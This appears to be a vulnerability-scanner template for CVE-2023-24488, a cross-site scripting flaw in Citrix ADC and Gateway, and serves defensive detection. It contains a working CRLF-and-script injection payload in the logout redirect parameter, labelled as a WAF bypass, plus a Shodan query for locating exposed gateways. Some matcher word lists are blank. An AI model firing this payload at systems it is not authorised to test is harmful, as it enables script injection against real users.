id: CVE-2023-24488
info:
name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
author: johnk3r,DhiyaneshDk
severity: medium
description: |
Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
remediation: |
Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
reference:
- https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
- https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
- https://nvd.nist.gov/vuln/detail/CVE-2023-24488
- https://twitter.com/infosec_au/status/1674786106381070342
- https://twitter.com/bxmbn/status/1675250259608449026
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-24488
cwe-id: CWE-79
epss-score: 0.01446
epss-percentile: 0.85165
cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: citrix
product: gateway
shodan-query: title:"Citrix Gateway"
tags: cve,cve2023,citrix,xss,adc
http:
- method: GET
path:
- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
-
-
condition: or
- type: word
part: body
words:
- "Content-Type: text/html"
- type: status
status:
- 302
# digest: 4a0a004730450220378dca0b699851d246fc5fa3d7943f839b581ae7cf3acda6d7b62fdb79827eb7022100c2c78b65cdc5e96b8477cd01364c1ecd82ff555f1af38038084a0c4c5927fbcb:922c64590222798bb761d5b6d8e72950